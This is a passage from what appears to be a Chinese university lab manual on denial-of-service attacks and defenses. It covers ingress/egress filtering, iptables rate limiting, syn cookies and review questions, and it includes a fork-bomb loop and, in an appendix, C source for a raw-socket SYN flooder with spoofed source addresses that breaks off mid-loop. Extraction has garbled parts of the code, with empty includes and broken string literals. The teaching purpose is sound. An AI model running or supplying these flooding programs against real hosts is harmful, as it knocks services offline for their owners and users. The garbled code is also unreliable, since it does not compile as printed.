到作用。如果攻击者重新配置DDoS 程序,使其运行在其它的端口上,则这些扫描工具都没 有用处了。
2.6.4 运行Zombie 工具
虽然采取了足够的措施来防止被攻击者安装DDoS 程序,但是仍然不能保证绝对没有问 题。有时候只有当攻击发生的时候才能检测到。这种情况下,网络IDS 会注意到大量的通 信量并提示发生了问题。这时可以使用Zombie Zapper 使系统从数据包风暴中解脱出来。对 于UNIX 和Windows 个有一个Zombie Zapper 版本,现在可以防范Trinoo、TFN 和 Stacheldraht。和扫描程序一样,Zombie Zapper 也假设攻击程序安装在默认端口上。 图5 Zombie Zapper 的简单操作界面
2.6.5 路由器的支持
使用路由器来阻挡DoS/DdoS 的方法在一些论文中被提出,主要有如下几种方法:入口
过滤(Ingress Filtering)、出口过滤(Egress Filtering)和MULTOPS 等。入口过滤是一个网 络中间的机制,需要ISP 的支持,主要任务包括丢弃那种与RFC 1918 所规定的保留IP 地址 为源地址或目的地址的数据包,同时还可以根据规则去过滤那种地址与所在用户网络所不匹 配的数据包。它的缺点在于无法防御来自有效IP 的拒绝服务攻击,同时也影响了移动IP 业 务。出口过滤是一个源端网络级别的过滤措施,它基于判断源地址是否属于本网络范围之内 而采取转发或者丢弃的处理。SANS 研究所就强烈建议网络管理员采取出口过滤,从而防止 网络被用作发动伪造源地址为其他网络IP 地址的DoS/DDoS 攻击。当前,我国教育网对外 实现了这种过滤机制(参见BBS 上Security 版面Jameszhang 所言)。出口过滤的目的在于把 攻击组织在边缘网络之内,让其无法进入核心网。出口网络过滤具有两个缺点:(1)需要ISP 的协同,当前为数不多的ISP 在它们的网络内设置了这样的过滤,部分ISP 采取出口过滤, 也许减轻了DDoS 攻击的程度。(2)它无法防止伪造本网络内部IP 地址的情况。MULTOPS 也是一个源端网络级别的过滤措施,它假定被攻击的管理员可以检测到参与DDoS 攻击的源 地址,那么可以采取措施阻塞这个来自源地址的数据包。它引入了在线分组统计的多层树 (The Multi-Level Tree for Online Packet Statistics,MULTOPS)的数据结构,采取启发式的 搜索方法,根据节点速率的不匹配判断DDoS 源,从而进一步采取阻止措施。
3 实验内容
如同原理部分所介绍的,DoS 的范畴比较广泛。这里我们介绍的只是一些简单的演示, 希望同学们在做实验时遵守规则,不要擅自攻击其他机器,否则后果自负!
3.1 简单的攻击演示
3.1.1 进程资源的DoS
一个简单的DoS 例子,大量消耗系统的进程资源。 #include
26
for(x=0;x<1000000;x++) {
system(\fork(); } }
3.1.2 Syn Flood 攻击以及防御演示
这里演示一个简单的Syn Flood 攻击,为了“有的放矢”,我们需要获知目标机器所提
供的网络服务,实际中往往都是针对一些常规的服务(尤其是HTTP 服务)。首先观察目标 机器所打开的端口,例如: C:\\>netstat -an Active Connections
Proto Local Address Foreign Address State TCP xxxx:ftp xxxx:0 LISTENING TCP xxxx:smtp xxxx:0 LISTENING TCP xxxx:http xxxx:0 LISTENING TCP xxxx:epmap xxxx:0 LISTENING TCP xxxx:https xxxx:0 LISTENING
TCP xxxxx:microsoft-ds xxxx:0 LISTENING TCP xxxx:1025 xxxx:0 LISTENING ……
然后对特定的某一个服务(例如HTTP 服务)采取DoS 攻击,再次观察其网络连接状 态,比较有什么异同,并记录下来。同时观测此主机是否可以继续提供该服务。 注:程序可以参照附录,希望使用前读懂源代码,并作出相关改进。
对于linux 的机器,可以采用防火墙(常用的是iptables)来对抗DoS 攻击。防火墙的
过滤规则往往比较复杂(请参照另一篇实验报告),简单的,对于最常见的synflood 攻击, 可以加入下列的规则:
iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT
表示对于tcp 协议的syn 包采取限制,具体的措施是每秒只接收1 个syn 包。
还有其他被动的防御方法,例如对于Linux 和Solaris,它们的内核提供了Syn cookie 支 持。
图6 Linux 内核配置中的Syncookie
具体配置过程如下,进入/usr/src/linux 目录,运行: make menuconfig
进入内核配置界面,选取“Networking options”菜单,进入如图6 所示的界面,选取对 应的Syncookie 条目。 此后进行编译内核 make dep make clean make bzImage make modules
27
make modules_install
此后,再执行下列脚本,即可使系统具备syn cookie 功能。 echo 1 > /proc/sys/net/ipv4/tcp_syncookies
读取linux 下一些和网络特性有关的参数,例如下列文件的内容,并记录下来。 /proc/sys/net/ipv4/icmp_echo_ignore_all
/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts /proc/sys/net/ipv4/tcp_max_syn_backlog /proc/sys/net/ipv4/tcp_max_orphans /proc/sys/net/ipv4/tcp_max_tw_buckets
4 实验要求
应认真阅读原理,实践实验操作,记录相关的信息。对于原理中提到的一些工具,尽可 能从整体上了解概况。网络安全相关技术具有很强的时效性,所以根据当今的技术现状,做 一些额外的调研。
5 思考题
列举你所知道的DoS/DDoS 攻击例子或事件,并阐述其攻击的手段(带宽资源、进程资 源等)。
除了Syn Flood 攻击,类似的还有UDP Flood、ICMP Flood、Ack Flood,试简单分析它 们的原理。
根据额外的调研学习,思考实验步骤最后记录的部分网络特性参数的意义。 对于类似Syn Flood 这样的DoS 攻击,应着重从哪些大方面来防御?
结合Syn Flood 例程,试讨论DRDoS 攻击程序的流程,并谈谈对防范这种攻击的建议。
附录 一个简单的Synflood 源程序
#include
void hose_trusted(unsigned int, unsigned int, unsigned short, int); unsigned short in_cksum(unsigned short *, int); unsigned int host2ip(char *); main(int argc, char **argv) {
unsigned int srchost;
28
unsigned int dsthost; unsigned short port=80; unsigned int number=1000; if(argc < 3) {
printf(\exit(0); }
srchost = host2ip(argv[1]); dsthost = host2ip(argv[2]);
if(argc >= 4) port = atoi(argv[3]); if(argc >= 5) number = atoi(argv[4]); if(port == 0) port = 80;
if(number == 0) number = 1000;
printf(\hose_trusted(srchost, dsthost, port, number); }
void hose_trusted(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, int numsyns) {
struct send_tcp {
struct iphdr ip; struct tcphdr tcp; } send_tcp;
struct pseudo_header {
unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; int i;
int tcp_socket;
struct sockaddr_in sin; int sinlen;
/* form ip packet */ send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 0;
29
send_tcp.ip.tot_len = htons(40); send_tcp.ip.id = getpid(); send_tcp.ip.frag_off = 0; send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP; send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr; send_tcp.ip.daddr = dest_addr; /* form tcp packet */
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port); send_tcp.tcp.seq = getpid(); send_tcp.tcp.ack_seq = 0; send_tcp.tcp.res1 = 0; send_tcp.tcp.doff = 5; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.cwr= 0;
send_tcp.tcp.window = htons(512); send_tcp.tcp.check = 0; send_tcp.tcp.urg_ptr = 0; /* setup the sin struct */ sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr; /* (try to) open the socket */
tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(tcp_socket < 0) {
perror(\exit(1); }
for(i=0;i < numsyns;i++) {
/* set fields that need to be changed */ send_tcp.tcp.source++; send_tcp.ip.id++; send_tcp.tcp.seq++;
30